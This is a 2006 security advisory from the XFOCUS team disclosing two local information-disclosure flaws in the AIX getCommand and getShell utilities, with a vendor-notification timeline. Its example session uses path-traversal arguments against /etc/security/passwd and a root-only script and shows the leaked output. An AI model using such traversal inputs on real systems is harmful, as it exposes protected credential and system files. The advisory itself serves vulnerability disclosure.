Date: Sun, 01 Jan 2006 16:19:35 +0800
From: XFOCUS Security Team <security@xfocus.org.>
To: [email protected], [email protected],
Subject: [xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities
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X-Virus-Scanned: antivirus-gw at tyumen.ru
Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities
Affected version : aix5.3 ml03,Other versions not test,
should also be affected.
Vendor: http://www.ibm.com/
Where: Local
XFOCUS (http://www.xfocus.org) had already discovered
some vulnerabilities in getCommand&getShell.
After apply newest patch,getCommand&getShell still have two
vulnerabilities,That is
1: exploit that,a attacker can determine file be exist or not,which
should can't readed
2: exploit that,a attacker can read in any shell document(include no
permission file) has the cd operation the following partial content.
example test:
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen: No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x--- 4 root security 512 2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
/tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh
ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$
-bash-3.00$
TIME LINE:
December,26 2005 - Initial vendor notification
.....Waiting.....Waiting....
January 1, 2006 - Public disclosure(vendor not reply)
--EOF
--
Kind Regards,
---
XFOCUS Security Team
http://www.xfocus.org
